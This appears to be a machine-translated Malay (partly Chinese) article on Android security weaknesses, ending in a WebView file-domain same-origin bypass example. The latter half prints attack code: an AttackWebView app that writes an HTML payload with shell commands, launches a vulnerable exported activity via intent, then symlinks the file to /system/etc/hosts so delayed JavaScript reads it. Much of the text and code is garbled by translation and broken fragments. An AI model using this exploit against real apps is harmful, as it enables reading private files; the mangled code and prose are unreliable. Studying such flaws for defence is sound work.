Pengetahuan asas seni bina Android
Lapisan kernel kernel
Kerentanan amat berbahaya dan mempunyai fleksibiliti yang kuat
Disebabkan pemacu yang banyak dan kompleks, mungkin terdapat menjadi banyak Kerentanan
Lapisan perpustakaan runtime sistem perpustakaan
Pustaka runtime system yang disediakan dalam bentuk middleware sistem
termasuk libc, WebKit, SQLite, dsb.
AndroidRunTime
Mesin maya Dalvik dan pustaka kernel
FrameWork lapisan rangka kerja aplikasi
Menyediakan satu siri perkhidmatan dan antara muka API
Pengurus Aktiviti
Pembekal Kandungan
Lihat
Penjelajah
Pengurus Pemberitahuan
Lapisan aplikasi aplikasi
Aplikasi sistem
Skrin utama, Kenalan, Telefon, Pelayar
Aplikasi lain
Program yang dilaksanakan oleh pembangun menggunakan API lapisan rangka kerja aplikasi
Komponen biasa Android
Aktiviti keaktifan
Perkhidmatan perkhidmatan
Penerima siaran BroadcastRecviver
Pembekal kandungan ContentProvider
Kerentanan Biasa Apl Android (10 Teratas Mudah Alih OWASP) Penggunaan platform yang tidak betul
Gambaran Keseluruhan
Penyalahgunaan fungsi platform, atau kegagalan untuk Keupayaan untuk menggunakan kawalan keselamatan platform . Seperti penyalahgunaan niat, penyalahgunaan kebenaran, dsb.
Risiko
sangat luas dan mungkin melibatkan pelbagai perkhidmatan pada platform mudah alih
Contoh
Dalam sistem iOS, data kata laluan disimpan dalam fail tempatan dan bukannya dalam rantai kunci, yang mengakibatkan ia dibaca daripada data sandaran yang disulitkan pseudo
Dalam sistem Android, penggunaan yang tidak betul Niat menyebabkan pengguna berniat jahat merampas dan mengubah suai kandungan niat melakukan sebarang tindakan dengan kebenaran identiti proses asal
Storan data tidak selamat
Gunakan protokol teks biasa seperti HTTP untuk menghantar maklumat sensitif ke pelayan
Cari .method dan kaedah tamat
Semak sama ada terdapat return-void
Begitu juga semak sama ada nilai pulangan pengesahan(String, SSLSession) sentiasa Benar dan sama ada parameter X509HostnameVerifier ialah ALLOW_ALLHOSTNAME_VERIFIER
Dayakan fungsi penghuraian HTTPS Fiddler, jana dan eksport sijil yang ditandatangani sendiri, dan pasangkannya pada telefon anda
Dayakan proksi Fiddler dan benarkan akses jauh Hos menyambung kepada proksi
APP tidak mempunyai pengesahan sijil SSL
Kegagalan untuk mengesahkan sijil akan menyebabkan pengecualian, yang kemudiannya akan dikendalikan oleh aplikasi
Kegagalan untuk mengesahkan sijil pelayan akan membawa kepada TLS man-in- serangan tengah
Apabila menggunakan HttpsURLConnection, nama hos tidak disahkan apabila melaksanakan HostnameVerifier tersuai dan nama domain sijil serta nama tapak tidak disemak secara lalai untuk melihat sama ada ia sepadan. Atau apabila menetapkan HostnameVerifier HttpsURLConnection, tetapkannya kepada ALLOW_ALL_HOSTNAME_VERIIER untuk menerima semua nama domain.
Kaedah serangan
Kaedah perlombongan. 🎜>
Pengesahan kukuh sijil SSL
Kerentanan pendedahan komponen
Android:exported ialah atribut biasa kepada empat komponen utama, digunakan untuk menunjukkan sama ada aplikasi lain disokong untuk memanggil komponen semasa
Jika terdapat penapis niat, nilai lalai adalah benar; jika tidak, nilai lalai adalah palsu
Kawalan kebenaran eksport yang dieksport komponen
Memintas pengesahan
Selepas aktiviti didedahkan, ia dipanggil oleh pihak ketiga dan boleh log masuk /set semula kata laluan tanpa kata laluan
Kebocoran maklumat sensitif
recviver diaktifkan oleh pihak ketiga selepas didedahkan, dan penyahpepijatan serta maklumat lain boleh dilihat Maklumat sensitif yang terkandung dalam
Uree kuasa
Rendah Program istimewa melaksanakan tindakan keistimewaan tinggi
kaedah perlombongan
Lihat AndroidManifest.xml
Lakukan keselamatan penilaian melalui alat attacksurface drozer
Kerentanan penyulitan yang lemah
Pengekodan keras kata laluan
Penyahsusun, paparan akar, dsb. boleh diperolehi
penyulitan lemah AES/DES
Mod ECB terdedah kepada serangan analisis atau main semula
Paparan Web
terutamanya merangkumi tiga kelemahan:
Pelaksanaan kod sewenang-wenangnya
Tulis halaman web yang merentasi objek. Jika terdapat kaedah getClass, terdapat kelemahan pelaksanaan kod jauh
Skrip Fiddler's before membenarkan sebarang paparan web diuji apabila mengakses mana-mana halaman web
Selepas Android 4.2, kaedah yang dianotasi dengan addJavascriptInterface boleh dipanggil dengan kaedah java dalam halaman web. Jika tiada penapisan, mungkin terdapat kelemahan
Kaedah perlombongan:
Kawalan domain bukan ketat
setAllowFileAccess
setAllowFileAccessFromFileURLs
Apabila pengguna memilih untuk menyimpan nama pengguna dan kata laluan yang dimasukkan dalam WebViEW, mereka akan disimpan dalam teks yang jelas dalam data.db dalam direktori aplikasi
Seorang penyerang dengan kebenaran root boleh membacanya
Kesan dan dapatkan sasaran analisis utama dengan pantas
Pengesahan dan penilaian bahaya risiko yang disyaki
Pemecahan penyulitan dan analisis lanjut logik dan kod
-
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(JSInterface() baharu, "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
view public booler t hasil) {
webView.loadUrl(mUrl1); } kelas JSInterface { public String onButtonClick(String text) { = ; s textring runOnUiThread(new Runnable() { @Override awam Log.e("leehong2", "onButtonClick: text = " + str);toast.makeText (getApplicationContext ()," onButtonClick: text = " + str, toast.length_long) .show (); 🎜> }); return "Teks ini dikembalikan daripada lapisan Java. js text = " + text; } public void onImageClick(String url, int width, int height) { final String +wid str =" + "url th = "" + lebar + " tinggi = " + tinggi; Log.i("leehong2", str); runOnUiThread(new Runnable() { @Override awam Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).tunjukkan(); } }); } } }这里webView.getSettings().setAllowFileAccessFromFileURLScripts(翗迗行迗迗迗迗迗这迗过这这里fail文件。
我们再来看attack_file.html的代码:'
如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。
即使URcesssetFromFileAccess不这个不不一一们返Access过一种方式也可以跨过这个限制,这个我下一次讲讲.
Mula-mula jalankan WebViewFileDemo1, dan kemudian jalankan AttackWebView untuk menyerang WebView.
Mula-mula kita lihat WebViewFileDemo1, kod utama adalah seperti berikut:
pakej com.example.webviewfiledemo [/; saiz][/ font][/p]
import android.app.Activity;
import android.content.Intent;
import android.net.Uri; 🎜>
import android.os.Bundle; import android.util.Log; import android.webkit.JsResult; ;import android.webkit.WebView; import android.widget.Toast; private Uri mUri; url String peribadi; @Override dilindungi void (Bundle savedInstanceState) { super.onCreate(savedInstanceState); 🎜>
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(false); ().setAllowFileAccess(false);
webView.setWebChromeClient(WebChromeClient() baharu {
@Override
public boolean onJsAlert(WebView url, String message Hasil Js) {
🎜>
}) ; > jika (i != null) { mUri = i.getData(); } if (mUri != null) { url = mUri.toString(); } } if (url != null) { webView.loadUrl(url(url); } } } } Aktiviti Ini Terima Niat dari luar, ekstrak URL dalam Niat dan muatkannya. Kemudian mari kita lihat projek AttackWebView, iaitu projek yang menghantar Intent ke com.example.webviewfiledemo.MainActivity. Kodnya adalah seperti berikut: Aktiviti Utama kelas awam memanjangkan Aktiviti { HTML String statik akhir awam = "" + " " + ""
"";
rentetan statik awam MY_TMP_DIR;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
cuba {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo "" + HTML + "" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
} tangkapan (Pengecualian e) {
// TODO: handle exception
}
} PP(String url) {
cuba {
Niat niat = Niat baharu(Intent.ACTION_MAIN,Uri.parse(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
mulakanAktiviti(niat);
} tangkapan (Pengecualian e) {
// TODO: handle exception
}
cm } cmd) {
cuba {
Rentetan[] tmp = Rentetan baharu[] { "/system/bin/sh", "-c", cmd };
Runtime.getRuntime().exec(tmp);
} tangkapan (Pengecualian e) {
// TODO: kendalikan pengecualian
}
} >
} 🎜>通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/个这语.html,webview/庆个这个这个这个,html内容如下:
HTML String statik akhir awam = "" +
"Tunggu beberapa saat." +
"
"var d = document;"+
"function doitjs(){"+
"var xhr = XMLHttp baharu
"var txt = xhr.responseText;"+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr. hantar(null);"+ "}"+"setTimeout(doitjs,8000);"+ ""+ "";
Apabila WebViewFileDemo1 berfungsi Selepas webView memuatkan A0.html, fungsi ini html adalah untuk menangguhkan membaca A0.html sendiri selama 8 saat. Mari kita kembali ke projek AttackWebView dan lihat kod tersebut.
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo "" + HTML + "" > " + HTML_PATH("chmod -R 777 "); + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH); >
cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);Panggilan selesai Selepas invokeVulnAPP, 6 saat kemudian, kami mula-mula memadamkan A0.html, dan kemudian menyambungkannya dengan lembut ke /system/etc/hosts sekali lagi. Ambil perhatian bahawa apabila webView dalam projek WebViewFileDemo1 memuatkan A0.html pada masa ini, fungsi html ini adalah untuk menangguhkan membaca A0.html itu sendiri selama 8 saat, jadi sambungan lembut /system/etc/hosts dibaca selepas 8 saat.Atas ialah kandungan terperinci WebView Fail Domain Asal Dasar Bypass Analisis Contoh Kerentanan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!